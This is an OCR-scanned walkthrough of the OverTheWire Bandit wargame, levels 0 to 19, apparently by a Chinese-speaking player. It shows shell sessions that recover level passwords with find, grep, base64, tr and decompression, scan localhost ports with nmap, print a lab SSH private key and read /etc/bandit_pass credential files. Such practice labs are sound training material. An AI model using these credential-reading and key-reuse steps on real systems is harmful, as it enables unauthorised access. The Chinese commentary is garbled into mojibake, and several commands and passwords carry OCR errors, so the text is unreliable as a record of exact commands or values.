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SSH Information

Host: bandit.labs.overthewire.org
Port: 2220

Level 0

The goal of this level is for you to log into the game using SSH. The host to which you need to connect is
bandit.labs.overthewire.org, on port 2220. The username is bandit0 and the password is bandit0. Once logged in, go to the Level
1 page to find out how to beat Level 1.

X—REFERILREFE - NEEssh LR HEE, X—REK A & NFE5EEHbanditds KA secureCRT, Xshell, Putty, &~
i 3R B R I — K S 3R B E X shellZh g2 ISSHL B AfMobaXterm, ™ A#E# .

Linux F 3 477 (8

ssh bandit@@bandit.labs.overthewire.org -p 2220

25i0: bandite

Level 0—>Level 1

he password for the next level is stored in a file called readme located in the home directory. Use this password to log into bandit1
using SSH. Whenever you find a password for a level, use SSH (on port 2220) to log into that level and continue the game.
Commands you may need to solve this level

Is, cd, cat, file, du, find

Hiduir 4 RAKREE LS HREFFHZEN, HE SIS AREKZLinux dufr {2 EE LHTHEE XHFRER(RERHERTH
)b R RRDN, ER M E — X

bandite@bandit:~$ 1s

readme
bandite@bandit:~$ cat readme

boJ9jbbUNNfktd7800psqOltutMc3MY1l

83| F—3:F 5 &bandit!, #55:AboJ9jbbUNNKtd7800psqOtutMc3MY1, 2 Jg Fl /S &k kK, Ak

Level 1 - Level 2

Level Goal
The password for the next level is stored in a file called - located in the home directory

Commands you may need to solve this level
Is, cd, cat, file, du, find

IS RIS 4 R —A-, (BRXAMElinux G Rk E L F B E Hcat R F A



banditl@bandit:~$ 1s

banditl@bandit:~$ cat -

NZ

[1]+ Stopped

banditl@bandit:~$ pwd

/home/banditl

banditl@bandit:~$ cat /home/banditl/-
CV1DtgXWVFXTVvM2FOkO9SHzZOYWRINYAS

H B 45T B8 12 5 EL
Level 2 - Level 3

Level Goal
The password for the next level is stored in a file called spaces in this filename located in the home directory

Commands you may need to solve this level
Is, cd, cat, file, du, find

Helpful Reading Material
Google Search for “spaces in filename”

AR R R

bandit2@bandit:~$ cat spaces\ in\ this\ filename
UmHadQc 1WmgdLOKQ3YNgjWxGoRMb51uK

Hcatfr 4, SRJ5Tabiishst, HINESHE N, ST 24, BREL M4 B G S DLiEEL.
Level 3 — Level 4

Level Goal
The password for the next level is stored in a hidden file in the inhere directory.

Commands you may need to solve this level
Is, cd, cat, file, du, find
FHASE—RRBOCH BT, @Eidls -aZ$mT DA B RS

bandit3@bandit:~$ 1s

inhere

bandit3@bandit:~$ cd inhere/
bandit3@bandit:~/inhere$ 1s
bandit3@bandit:~/inhere$ 1s -la
total 12

drwxr-xr-x 2 root root 4096 Oct 16 14:00 .
drwxr-xr-x 3 root root 4096 Oct 16 14:00 ..
-rW-r----- 1 bandit4 bandit3 33 Oct 16 14:00 .hidden
bandit3@bandit:~/inhere$ cat .hidden
pIwrPrtPN36QITSp3EQaw936yaFoFgAB

Level 4 — Level 5

Level Goal
The password for the next level is stored in the only human-readable file in the inhere directory. Tip: if your terminal is messed up,
try the “reset” command.



Commands you may need to solve this level
Is, cd, cat, file, du, find

SR NSRRI S B, ATUAE B0 B AN, @il filedy & W LA T HHRSCA KA.

bandit4@bandit:~$ 1s
inhere
bandit4@bandit:~$ cd inhere/
bandit4@bandit:~/inhere$ 1ls -a
-filee® -file@2 -filed4 -filed6 -file@8
-file@l -file@3 -filed5 -file@7 -file@9
bandit4@bandit:~/inhere$ file ./*
./-file@o@: data
./-file@l: data
./-file@2: data
./-file@3: data
./-file@4: data
./-file@5: data
./-file@6: data
./-file@7: ASCII text
./-file@8: data
./-file@9: data
bandit4@bandit:~/inhere$ cat ./-file@7
koReBOKuIDDepwhWk7jZCORTdopnAYKh
bandit4@bandit:~/inhere$

Level Goal

The password for the next level is stored in a file somewhere under the inhere directory and has all of the following properties:

human-readable

1033 bytes in size

not executable

Commands you may need to solve this level
Is, cd, cat, file, du, find

—BRRX ALK

bandit5@bandit:~$ 1s
inhere
bandit5@bandit:~$ cd inhere/
bandit5@bandit:~/inhere$ 1ls -a
maybehere@2 maybehere@6 maybeherel® maybehereld maybeherel8
oG maybehere@3 maybehere@7 maybeherell maybeherel5 maybeherel9
maybehere@® maybehere@4 maybehere@8 maybeherel2 maybeherel6
maybehere@l maybehere@5 maybehere@9 maybeherel3 maybeherel?

MRIERAERATAT LA A find 54, B —ANFF& % AR RIS

bandit5@bandit:~/inhere$ find . -type f -size 1033c
./maybehere@7/.file2

bandit5@bandit:~/inhere$ cat ./maybehereo7/.file2
DXjZPULLxYr17uwoI@1bNLQbtFemEgo7
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s: socket

Level 6 — Level 7

Level Goal
The password for the next level is stored somewhere on the server and has all of the following properties:

owned by user bandit7

owned by group bandit6

33 bytes in size

Commands you may need to solve this level

Is, cd, cat, file, du, find, grep

X R, ARARTTLAEAinddr 4, RAESHHMH KSR

bandité@bandit:~$ find / -size 33c -user bandit7 -group bandit6 2>/dev/null
/var/1lib/dpkg/info/bandit7.password

bandité@bandit:~$ cat /var/lib/dpkg/info/bandit7.password
HKBPTKQnIay4Fw76bEy8PVXKEDQRKTzs

JETH] 2>/dev/null B Afind iy &R B R T ERSEWHRESPURMMERE L, FraElinuxhiBEARXM 7 LB EREEER
161 ) BRI o

Level 7 — Level 8

Level Goal

The password for the next level is stored in the file data.txt next to the word millionth

Commands you may need to solve this level
grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd

R R Rdata.xtsF ZE 4 Emillionths, T LLEiZgrep@ S &E

bandit7@bandit:~$ 1s
data.txt

bandit7@bandit:~$ cat data.txt |grep millionth
millionth cvX2JJa4CFALtqS87jk27qwqGhBMIplV

Level 8 — Level 9



Level Goal
The password for the next level is stored in the file data.txt and is the only line of text that occurs only once

Commands you may need to solve this level
grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd

Helpful Reading Material

The unix commandline: pipes and redirects

X R ERB U —KEBAMT, HEMuniqird T, EREHZHTERsortir &X CABATHF, B Auniqr4 =28 H) k
ETHATRE—HRAWE, Bl HsorthF — TR EEuniqut BERBME— MK B —T T

sort data.txt|uniq -u

sort data.txt|uniq -c
KRB FE, —DNREE-URE, EHERE-cHH BIKRE, RENFERBI R —ATEIR

bandit8@bandit:~$ sort data.txt |unig -u

UsvVyFSfZZWbibwgC7dAFyFuR6jQQUNR

Level 9 — Level 10

Level Goal
The password for the next level is stored in the file data.txt in one of the few human-readable strings, beginning with several ‘=’
characters.

Commands you may need to solve this level
grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd

HEMHcatin 2 2B L RAELMARTE, W LLESstingfr&EE XHHHZ/FE, RIERAEBTHE T —REHUE TAN="TF
sk, T UAR BT — 34 M itruKLdjsbJ5g7yyJ2X2R003a5HQJF uLk

bandit9@bandit:~$ 1s
data.txt
bandit9@bandit:~$ strings data.txt

password

trukKLdjsbl5g7yyJ2X2R0o03a5HQIFulLk

Level 10 — Level 11

Level Goal

The password for the next level is stored in the file data.txt, which contains base64 encoded data

Commands you may need to solve this level
grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd

Helpful Reading Material
Base64 on Wikipedia
B H 3% A5 B A T base64f#rS, AMEIDED ]



banditle@bandit:~$ base64 -d data.txt
The password is IFukwKGsFW8MOg3IRFqrxE1hxTNEbUPR

Level 11 — Level 12

Level Goal
The password for the next level is stored in the file data.txt, where all lowercase (a-z) and uppercase (A-Z) letters have been rotated
by 13 positions

Commands you may need to solve this level
grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd

Helpful Reading Material

Rot13 on Wikipedia

trFH SR MBS SN o B S B BR R AT AP e . trE B T BRSO T ) R B AT AR R . Pt R BN
Fiep: FRABIRATEN, PRB2ATAESMESR. rPATHE, PR 1P RFRR S B 717 R 2R 7R, RERHERE
PR GP

WA B LB trar 4% XA

tr-c -d -s [‘string1_to_translate_from”][“string2_to_translate_to”] < input-file
Rot132 — MRk UM i s e, ARIEE B BT 9 7F BEHO BB e 7134 B, B £26 N FRIEI13 Mz B 55134
PrERB T o 2N Ftrar & BEAT I #

it:~$ cat data.txt
5Gr8L4qgetPEsPk8htqjhRK8XSP6x2RHh
it:~$ cat data.txt |tr 'a-zA-Z' 'n-za-mN-ZA-M'

The password is 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu

Level 12 — Level 13

Level Goal
The password for the next level is stored in the file data.txt, which is a hexdump of a file that has been repeatedly compressed. For
this level it may be useful to create a directory under /tmp in which you can work using mkdir. For example: mkdir imp/myname123.

Then copy the datafile using cp, and rename it using mv (read the manpages!)

Commands you may need to solve this level
grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd, mkdir, cp, mv

Helpful Reading Material
Hex dump on Wikipedia
XR-ELWEREKER, FERIBERZE.

it:~$ 1s

it:~$ file data.txt

text
it:~$ xxd -r data.txt data.bin
in: Permission denied

LR B AR — AR KB SO, Sl Aod# RbintRm BURA S, BTG H —k.



:~$ mkdir /tmp/c1911

:~$ cp data.txt /tmp/c1911
:~$

:~$ cd /tmp/cl1911
:/tmp/c1911% 1s

:/tmp/c1911% xxd -r data.txt > data.bin
:/tmp/c1911% file data.bin
: Tue Oct 16 12:00:23 2018, max compression, from

Rl e RgzptE R, B4, Mk,

banditl2@bandit:/tmp/c1911% mv data.bin data.gz
bandit12@bandit:/tmp/c1911$ gzip -d data.gz
banditl12@bandit:/tmp/c1911$% 1s

data data.txt

banditl12@bandit:/tmp/c1911$ file data

data: bzip2 compressed data, block size 900k

TH—Bbzip2 ?2?7?, Sk SR E

bandit12@bandit:/tmp/c1911$ mv data data.bz2
bandit12@bandit:/tmp/c1911$ bunzip2 -d data.bz2
bandit12@bandit:/tmp/c1911$ file data

data: gzip compressed data, was "datad.bin", last modified: Tue Oct 16 12:00:23 2018, max compression, from Unix

BHEBABERSE, SEmETE! | —H-HEFXMHREY, Eask, BE. BEEN\EESH. - . - .



bandit12@bandit:/tmp/c1911$ mv data data.gz
bandit12@bandit:/tmp/c1911$ gzip -d data.gz
bandit12@bandit:/tmp/c1911% file data

data: POSIX tar archive (GNU)
bandit12@bandit:/tmp/c1911$% mv data data.tar
bandit12@bandit:/tmp/c1911$ tar xvf data.tar
data5.bin

bandit12@bandit:/tmp/c1911$ file data5.bin

data5.bin: POSIX tar archive (GNU)
banditl2@bandit:/tmp/c1911% mv data5.bin data5.tar
banditl2@bandit:/tmp/c1911$% tar xvf data5.tar
data6.bin

banditl12@bandit:/tmp/c1911$% file dataé6

data6: cannot open “dataé' (No such file or directory)
bandit12@bandit:/tmp/c1911$ file data6.bin

datab.bin: bzip2 compressed data, block size = 900k
bandit12@bandit:/tmp/c1911$ bunzip2 -d data6.bin
bunzip2: Can't guess original name for data6.bin -- using data6.bin.out
banditl2@bandit:/tmp/c1911$ file data6.bin.out
data6.bin.out: POSIX tar archive (GNU)
banditl2@bandit:/tmp/c1911$ mv data6.bin.out data.tar
bandit12@bandit:/tmp/c1911$ tar xvf data.tar
data8.bin

bandit12@bandit:/tmp/c1911$ file data8.bin

data8.bin: gzip compressed data, was "data9.bin", last modified: Tue Oct 16 12:00:23 2018, max compression, from
Unix

banditl12@bandit:/tmp/c1911$ mv data8.bin data8.gz
banditl12@bandit:/tmp/c1911$ gzip -d data8.gz
bandit12@bandit:/tmp/c1911$ 1s

data5.tar data8 data.tar data.txt
bandit12@bandit:/tmp/c1911$ cat data8

The password is 8ZjyCRiBWFYkneahHwxCv3wb2alORpYL

Level Goal

The password for the next level is stored in /etc/bandit_pass/bandit14 and can only be read by user bandit14. For this level, you
don’t get the next password, but you get a private SSH key that can be used to log into the next level. Note: localhost is a hostname
that refers to the machine you are working on

Commands you may need to solve this level
ssh, telnet, nc, openssl, s_client, nmap

Helpful Reading Material

SSH/OpenSSH/Keys

X—REFBRINT T RO EFEBFBE/tcERT, HRBbandit14FH g, RATLATERTRE —ARHAH, TUEEHTA
B #Ebandit14, Abandit14 SREUH S0



bandit13@bandit:~$ 1s

sshkey.private

banditl3@bandit:~$ ssh -i sshkey.private bandit14@127.0.0.1

Could not create directory '/home/banditl3/.ssh'.

The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.

ECDSA key fingerprint is SHA256:98ULOZWr85496EtCRkK1020X30PnyPSB5tB5RPbhczc.
Are you sure you want to continue connecting (yes/no)? yes

banditl4@bandit:~$ cat /etc/bandit_pass/bandit14
AwcYUJFwOkOXLSh1DzztnTBHigxU3b3e

Level 14 — Level 15

Level Goal
The password for the next level can be retrieved by submitting the password of the current level to port 30000 on localhost.

Commands you may need to solve this level
ssh, telnet, nc, openssl, s_client, nmap

Helpful Reading Material

How the Internet works in 5 minutes (YouTube) (Not completely accurate, but good enough for beginners)
IP Addresses

IP Address on Wikipedia

Localhost on Wikipedia

Ports

Port (computer networking) on Wikipedia

XKL R BRI H AR AR5, BREEEMNbandit!3 sshiEB: 2| Mbandit14 AT HEARE L TIX—K, BRE
FIX—RPEREEARHIT T —RK, XBRRZXMFERE T — NG e,
banditl4@bandit:~$ telnet localhost 30000

Trying 127.0.0.1...

Connected to localhost.

Escape character is '~]'.

AwcYUJFwOkOXLSh1DzztnTBHigxU3b3e

Correct
BfMYroe26WYalil77FoDi9gh59eK5xNr

Connection closed by foreign host.
banditl4@bandit:~$

Level 15 — Level 16

Level Goal
The password for the next level can be retrieved by submitting the password of the current level to port 30001 on localhost using

SSL encryption.

Helpful note: Getting “HEARTBEATING” and “Read R BLOCK”? Use -ign_eof and read the “CONNECTED COMMANDS” section
in the manpage. Next to ‘R’ and ‘Q’, the ‘B’ command also works in this version of that command...

Commands you may need to solve this level
ssh, telnet, nc, openssl, s_client, nmap



Helpful Reading Material

Secure Socket Layer/Transport Layer Security on Wikipedia
OpenSSL Cookbook - Testing with OpenSSL
KR BB ssIRIEARRFEL A T KRS T —XMEAGBE. FEMElopenssl,

banditl5@bandit:~$ openssl s client -connect localhost -port 30001
CONNECTED (00000003 )

depth=0 CN localhost

verify error:num=18:self signed certificate

verify return:1

depth=0 CN localhost

verify return:1

Certificate chain
@ s:/CN=localhost
i:/CN=1localhost

MIICBjCCAW+gAwIBAgIESUpi7DANBgkghkiGOw@BAQUFADAUMRIWEAYDVQQDDALS
b2NhbGhvc3QwHhcNMTgxMjEXMTAWMTQYyWhcNMTkxMjEXMTAWMTQyWjAUMRIWEAYD
QQDDA1sb2NhbGhvc3QwgZ8wDQYIKoZIhvcNAQEBBQADEYOAMIGIAOGBAMTezWZz
cd9EgMAzOHkacYFj/cRYHpakzE4SPuflAE+rn@rXNihs8Ium69kaQv+EKTAriLAT
qI2F1HT3gP1BsPPn7XGzhGILHELpKThVJ3dcc7iC8mP5IMEr3Ysd64atu+7EUOLG
+bL560omnhjGWAWR571/WP2N/ftaxwGVI3SqdAgMBAAG]jZTBjMBQGALUdEQQNMAUC
CWxvY2FsaG9zdDBLBglghkgBhvhCAQOEPhY8QXVOb21hdGljYWxseSBnZW51cmFo
ZWQgYnkgTmNhdC4gU2V1IGhOdHBz0i8vbmlhcC5vecmcvbmNhdC8uMABGCSqGSIb3
DQEBBQUAA4GBAA024zz8pAGH+VRu/zcztoxyu@3edRTe2o0fL20DXXkLaMychnux6
1V928fMcG938ErbjVmx6Bgq5x0vL/EGL4A1t0a2 jmnIcG5vgoeewz1TNcE+s/B2A0
1CKhVi94nLmsRRYpwrrgghNeYtU5akCQjYEeINfjpS4rbYoTUn/x0k1Z

subject=/CN=1ocalhost
issuer=/CN=localhost

No client certificate CA names sent
Peer signing digest: SHA512
Server Temp Key: X25519, 253 bits

SSL handshake has read 1019 bytes and written 269 bytes
erification error: self signed certificate

New, TLSv1l.2, Cipher is ECDHE-RSA-AES256-GCM-SHA384
Server public key is 1024 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
Protocol : TLSv1.2
Cipher : ECDHE-RSA-AES256-GCM-SHA384
Session-ID: F76B1E6D4649F3CE8772262DFA926F6BFO2E5DD581FE1AB59421003DA6BBD961
Session-ID-ctx:
Master-Key: E14BDEB9BS5ACB1BAA7AC3BDA67C819E8125EBEB32E33BESD14FEAE160B67DCF346A442B4AF5C58BF2356248E7E50C51D8
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 7200 (seconds)
TLS session ticket:
0000 - 64 68 30 37 ad 56 84 7c-cl 99 6e d2 @02 ©5 fa fe




0010 - af ec 8d 76 60
0020 - eb 2e 05 8d c7
0030 - d1 83 43 ff di
0040 - cf 29 af b3 8a
0050 - db 82 c3 5f 58 ... XGTS.G&[..\.
0060 - 72 be 5f 55 f4 . U....tvsl....
0070 - aa b4 cl 85 3b
0080 - bb 91 c3 f8 77
0090 - ff 76 €9 eb 67

Start Time: 1546574414

Timeout : 7200 (sec)

Verify return code: 18 (self signed certificate)
Extended master secret: yes

BfMYroe26WYalil77FoDi9gh59eK5xNr
Correct
cluFn7wTiGryunymYOu4RcffSxQluehd

closed

Level 16 — Level 17

Level Goal

The credentials for the next level can be retrieved by submitting the password of the current level to a port on localhost in the range
31000 to 32000. First find out which of these ports have a server listening on them. Then find out which of those speak SSL and
which don’t. There is only 1 server that will give the next credentials, the others will simply send back to you whatever you send to it.

Commands you may need to solve this level
ssh, telnet, nc, openssl, s_client, nmap

Helpful Reading Material

Port scanner on Wikipedia

X — R Ui FF U 3 1 2E3 1000132000 5 8] B 3 — /NP T ssIfR &5 s B b, B @ 2 2w D BAfMER, X ERMSMER
nmap, Ff#— M DJEE, HBIRATN &8 H KR OS5



banditl6@bandit:~$ nmap -sV localhost -p 31000-32000

Starting Nmap 7.40 ( https://nmap.org ) at 2019-01-04 ©5:27 CET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00022s latency).
Not shown: 999 closed ports
STATE SERVICE VERSION
open ssl/echo
open ssl/unknown
unrecognized despite returning data. If you know the service/version, please submit the following fing]
erprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port31790-TCP:V=7.40%T=SSL%I=7%D=1/4%Time=5C2EEOB3%P=x86_64-pc-linux-gn
:u%r(GenericLines, 31, "Wrong!\x20Please\x20@enter\x20the\x20correct\x20cur
:rent\x20password\n")%r(GetRequest, 31, "Wrong!\x20Please\x20enter\x20the\
:x20correct\x20current\x20password\n")%r(HTTPOptions, 31, "Wrong!\x20Pleas
:e\x20enter\x20the\x20correct\x20current\x20password\n")%r (RTSPRequest,3
:1,"Wrong!\x20Please\x20enter\x20the\x20correct\x20current\x20password\n
:")%r(Help, 31, "Wrong!\x20Please\x20enter\x20the\x20correct\x20current\x2
:@password\n")%r(SSLSessionReq, 31, "Wrong!\x20Please\x20enter\x20the\x20c
:orrect\x20current\x20password\n")%r(TLSSessionReq, 31, "Wrong!\x20Please\
:x20enter\x20the\x20correct\x20current\x20password\n" )%r(Kerberos,31, "Wr
:ong!\x20Please\x20enter\x20the\x20correct\x20current\x20password\n")%r(
:FourOhFourRequest, 31, "Wrong! \x20Please\x20enter\x20the\x20correct\x20cu
:rrent\x20password\n")%r (LPDString, 31, "Wrong!\x20Please\x20enter\x20the\
:x20correct\x20current\x20password\n")%r (LDAPSearchReq, 31, "Wrong!\x20Ple
:ase\x20enter\x20the\x20correct\x20current\x20password\n")%r(SIPOptions,
:31, "Wrong!\x20Please\x20enter\x20the\x20correct\x20current\x20password\

n");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 88.39 seconds

FLLE $31518%5 1 A31790% HJT i T ssliR5s, WAVAERIERX A0 O RIEARREH. KI31518% DK BITREHNEE
BR B, 317904 iR 5] % i ) IE A ¥ 1 o

banditl6@bandit:~$ openssl s _client -connect localhost -port 31790
CONNECTED (©0000003)

depth=0 CN localhost

verify error:num=18:self signed certificate

verify return:1

depth=0 CN localhost

verify return:1

Certificate chain
0 s:/CN=localhost
i:/CN=1localhost

MIICB]jCCAW+gAwWIBAgIENT6X8jANBgkqhkiGOwOBAQUFADAUMRIWEAYDVQQDDALS
b2NhbGhvc3QwHhcNMTgxMjEXMTAWMTQyWhcNMTkxMjEXMTAWMTQyWjAUMRIWEAYD

QQDDA1sb2NhbGhvc3QwgZ8wDQYJIKoZIhvcNAQEBBQADEYOAMIGIAOGBAJUYYSnX
pA49L0i31RUGpW+INIVSEtNUBSiMx17bhMuN1ijN+b19LuSVimWOAmMo+zzIsBq5Yv
CbvXfCKrjInxEGUP+XtPmC3trplmej2j1lRa/sRmKDIuV74Ze0Gjz025TY6a5XW+]
1COFgLCH/YsculgmLp8atEYYSaduS5vrz8ILAgMBAAG)ZTBjMBQGAIUAEQQNMAUC
CWxVY2FsaG9zdDBLBglghkgBhvhCAQOEPhY8QXVOb21hdGljYWxseSBnZW51cmFo
ZWQgYnkgTmNhdC4gU2V1IGhOdHBz0i8vbmlhcC5vecmcvbmNhdC8uMABGCSqGSIb3
DQEBBQUAA4GBAACqYQVna9ckIFWR3EzUKX173gkCNOBKOWy2rqzgPiplvuhjd4lc




subject=/CN=1localhost
issuer=/CN=localhost

No client certificate CA names sent
Peer signing digest: SHA512
Server Temp Key: X25519, 253 bits

SSL handshake has read 1019 bytes and written 269 bytes
erification error: self signed certificate

New, TLSv1.2, Cipher is ECDHE-RSA-AES256-GCM-SHA384

Server public key is 1024 bit

Secure Renegotiation IS supported

Compression: NONE

Expansion: NONE

No ALPN negotiated

SSL-Session:
Protocol : TLSvl.2
Cipher : ECDHE-RSA-AES256-GCM-SHA384
Session-ID: FC46E2669B162F04B5C370807C1BO9ES2FCEA3B123059C3E4701A30C1E749B661
Session-ID-ctx:
Master-Key: 54B4F5C34BES5CEOQF33249917300889499881A634B2D13715698130E69EQ7A1F92B55E3AE86074A7ED3EODAE14264F3DD)
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 7200 (seconds)
TLS session ticket:
0000 - 2e 71 2f 27 00 eb 72 19-5f 50 c2 do 8e 8e
0010 - f3 18 94 00 14 11 41 35-a2 b9 c9 d9 di1 a3
0020 - dl1 d5 9c 82 4e 31 5a e2-ec 49 a3 1le 37 eb
0030 c9 ce cc cO 72 26 b8 42-70 86 71 S5e ©@a d6
0040 - 3d 49 07 54 e7 17 di1-b6 20 @d 9c 62 bf
0050 - d3 a5 de bf 89 33 f4 c3-21 bl 88 7b dc 3b
0060 - fe @a 43 dO 62 c2 b2 7c-94 62 cf 98 a3 b3
0070 70 cl 9f fe 6d 2f 2d 40-36 6¢c f6 79 72 cb
0080 89 e8 f9 83 5b 7d 65 @d-b2 ed 17 68 ad ae
0090 ad 5f ce 31 7f b3 ec eB-36 c9 fO e6 de OcC

Start Time: 1546576890
Timeout : 7200 (sec)

Verify return code: 18 (self signed certificate)

Extended master secret: yes

cluFn7wTiGryunymYOu4RcffSxQluehd
Correct

MIIEogIBAAKCAQEAVMOkuifmMg6HL2YPIOjon6iWFfbp7c3x34YkYWqUH57SUdyJ
imZzeyGCOgtZPGujUSxiJSWI/oTgexh+cAMTSM10Jf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZ1870Ri0+rWALCDCNd21UVLE/GL2GWYyuKNOK5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr5604T6z8WWAW18BR6YyGrMq7Q/kALHYW30ekePQAzLOVUYbW
JGTi65CxbCnzc/w4+mgQyvmzpWtMAzITzAzQxNbkR2MBGYSXDLrjgOLWN6SK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVN]j+D1XFOJuaQIDAQABAOIBABagpxpMlaoLWfvD
KHcj1OnqcoBc4oE11aFYQwik7xfW+24pRNUDE6SFthOar69jp5R1LWDINhPx3iB1
J9n0OM80JOVToum43U0S8YxF8WwhXriYGnclsskbwpXOUDcOuX4+UESzH22P290ovd
d8WErY@gPxun8pbJLmxkAtWNhpMvfe@050vk9TL5wgbu9AlbssgTcCXkMQnPwONC

NN6DDP21bcBrvgT9YCNL6C+ZKufD52y0Q9qO0kwFTEQpjtF4uNtJom+asv1lpmS8A
vLY9r60wYSvmZhNgBUri71lyCtXMIulkkd4w7F77k+DjHoAXyxcUp1DGL51s0Omama




+ TOWWgECgYEA8JtPxPOGRI+IQkX262jM3dEIkza8ky5moIwUqYdsxONxXHgRRhORT
8c8hAURBb2G825s08VvUHkK/fur850Efc9TncnCY2crpoqsghifKLxrLgtT+gDpfZnx
SatLdt8GTQ85yA7hnWWI2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b@iE7KaszX+Exdvt
SghaTdcGOKnywlbpIVyusavPzpalMjdI6tcFhVAbAjm7enCIVGCSx+X315SiWg0A
R57hJglezIiVjv3aGwHwv1ZvtszK6zV60XFAURECEYAbjo46T4hyP5tJi93V5HD
Ttiek7XRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLYOFL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEK1wgXinB30hYimtiG2Cg5JCqIZFHXD6MJEGOiu
L8ktHMPvodBwNsSBULpGOQKBgBAp1TfC1HONWiMGOU3KPwYWt@06CdTkmIOmL8NL
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZIQ7YfzOKU4ZXxEnabvXnvinkU
0djHdSOoKvDQNWubucyLRAWFuISeXw9a/9p7ftpxmOTSgyvmfLF2MIAEwyzRqaM
77pBA0GAMmMjmIJdjp+Ez8duyn3ieo36yrttF5NSsILAbxFpdlclgvtGCWW+9Cqeb
dxviW8+TFVEB1104f7HVmM6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9IPsX8MBTakzh3
\vBgsyi/sN3RQRBcGU4Of0oZyfAMT8s1m/uYv5206IgeuZ/ujbjy

closed

REIF R —BsshfhiH, PHEBERXET —REBRNAHARGE, LHEREH, BERELYWERERAEFHR, XFERIMRTE
EEEMmMpEHFETT

banditl6@bandit:~$ mkdir /tmp/ssh_conn
banditl6@bandit:~$ vim /tmp/ssh_conn/rsa.priv

FIREATA L ERE1T K,

banditl6@bandit:~$ ssh -i /tmp/ssh_conn/rsa.priv banditl7@localhost

Could not create directory '/home/banditl6/.ssh’.

The authenticity of host 'localhost (127.0.0.1)' can't be established.

ECDSA key fingerprint is SHA256:98ULOZWr85496EtCRkK1020X30PnyPSB5tB5RPbhczc.

Are you sure you want to continue connecting (yes/no)? yes

Failed to add the host to the list of known hosts (/home/bandit16/.ssh/known_hosts).

This is a OverTheWire game server. More information on http://www.overthewire.org/wargames

0PEEEEECECEACAEEACEECACEACEERACEECACERERECACEECAERRCEECEEER
WARNING: UNPROTECTED PRIVATE KEY FILE!

00@EEAEEECAAEELARPEELAPEELAPEELARPEELRARERAPEERRARELRPEERRAEE

Permissions 0644 for '/tmp/ssh_conn/rsa.priv' are too open.

It is required that your private key files are NOT accessible by others.
This private key will be ignored.

Load key "/tmp/ssh_conn/rsa.priv": bad permissions

banditl7@localhost's password:

RARBURARITR T » AR 56005 K.

banditl6@bandit:/tmp/ssh_conn$ ssh -i rsa.priv banditl7@localhost

Could not create directory '/home/banditl6/.ssh’.

The authenticity of host 'localhost (127.0.0.1)' can't be established.

ECDSA key fingerprint is SHA256:98ULOZWr85496EtCRkK1020X30PnyPSB5tB5RPbhczc.
Are you sure you want to continue connecting (yes/no)? yes

banditl7@bandit:~$ cat /etc/bandit pass/banditl7
XLYVMNOWES5zQ5vHacb@sZEVgbrp7nBTn




Level 17 — Level 18

Level Goal
There are 2 files in the homedirectory: passwords.old and passwords.new. The password for the next level is in passwords.new
and is the only line that has been changed between passwords.old and passwords.new

NOTE: if you have solved this level and see ‘Byebye!” when trying to log into bandit18, this is related to the next level, bandit19

Commands you may need to solve this level
cat, grep, Is, diff
diff LA SR AR R, 4R JG passwd.new AR FIATAT 5 205 56 B % 55 Abandit18

banditl7@bandit:~$ 1s
passwords.new passwords.old

banditl7@bandit:~$ diff passwords.old passwords.new

42c42
h1bSBPAWImML6WFDbO6gpTX1pPButbl0A

kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd

18 3 % 49k Bf3e Yk5BPBR2wjqutbbfE887SVc5Yd

Level 18 — Level 19

Level Goal
The password for the next level is stored in a file readme in the homedirectory. Unfortunately, someone has modified .bashrc to log
you out when you log in with SSH.

Commands you may need to solve this level

ssh, Is, cat

M BT ERS, — LR & rRbyebye )5 H3llogout 7, AR —KIEE, &HE L bashreXXfFHEIE H K. MBI
&AL T, BERUWREILSE %N, Y sshiiteinetF B FRAN, RASBAERINNALM AN L. W sshiH
WETER RGN, HTHEH, BLERELN: BN%EHREshel, AAITERRGEAN, HERAREZNEHAELE, F)
AN, PS1%. X4f a4 ps -eflgrep [blashitE Flroot 22082 22080 0 11:51 ? 00:00:00 -bashiE 7~ £ i A8 B & — A 1)

2.

banditl7@bandit:~$ ssh banditl8@localhost -T

AL A8 MRS T ) — SR HE AR 7

Enjoy your stay

cat readme
TueksS7Ubh8G3DCwVzrTd8rAVOwqg3M5x

i Breadme, B E]19% K31,
Level 19 — Level 20

Level Goal
To gain access to the next level, you should use the setuid binary in the homedirectory. Execute it without arguments to find out how
to use it. The password for this level can be found in the usual place (/etc/bandit_pass), after you have used the setuid binary.



Helpful Reading Material
setuid on Wikipedia
KEE X B THFRIBR

bandit19@bandit:~$ 1s -1
total 8

-rwsr-x--- 1 bandit20 banditl9 7296 Oct 16 14:00 bandit20-do

JBERIBR Arws, sRFFFRALBRAL, 70— /7 F root B PR AT XA S
I 4 R AR AT bandit20iX M 7 AT XA SR BUE Y, @idid 454 & %F Flbandit20 1 7 #Iuid 811020, BATIXANC
fr—help & BEF MEATAME, B/EEIEY

bandit19@bandit:~$ ./bandit20-do --help
Usage: env [OPTION]... [-] [NAME=VALUE]... [COMMAND [ARG]...]
Set each NAME to VALUE in the environment and run COMMAND.

Mandatory arguments to long options are mandatory for short options too.
